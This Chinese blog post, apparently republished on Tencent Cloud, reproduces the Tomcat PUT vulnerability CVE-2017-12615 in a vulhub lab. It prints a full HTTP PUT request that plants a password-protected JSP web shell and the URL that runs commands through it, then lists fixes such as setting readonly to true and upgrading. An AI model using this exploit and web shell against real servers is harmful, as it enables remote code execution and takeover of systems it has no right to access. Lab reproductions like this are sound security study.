前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Tomcat Put(CVE-2017-12615)复现

Tomcat Put(CVE-2017-12615)复现

作者头像
墙角睡大觉
发布2019-09-24 17:21:02
6920
发布2019-09-24 17:21:02
举报
文章被收录于专栏:安全漏洞环境学习

环境:vulhub

启动环境之后,访问8080端口:

是tomcat的example界面:

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。

直接写入一下内容

PUT /cmd.jsp/ HTTP/1.1

Host: 172.16.1.44:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type:application/x-www-form-urlencoded

Content-Length: 666

<%@ page language="java"import="java.util.*,java.io.*"pageEncoding="UTF-8"%><%!public static String excuteCmd(Stringc) {StringBuilder line = new StringBuilder();try {Process pro =Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(newInputStreamReader(pro.getInputStream()));String temp = null;while ((temp =buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch(Exception e) {line.append(e.getMessage());}returnline.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

访问:http://172.16.1.44:8080/cmd.jsp?cmd=id&pwd=023

也可以用脚本写入文件:

同样的效果!

由于存在去掉最后的 / 的特性,那么这个漏洞自然影响 Linux 以及 Windows 版本。而且经过测试,这个漏洞影响全部的 Tomcat 版本,从 5.x 到 9.x 无不中枪。目前来说,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

修复方案:

1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

2、根据官方补丁升级最新版本

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-01-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档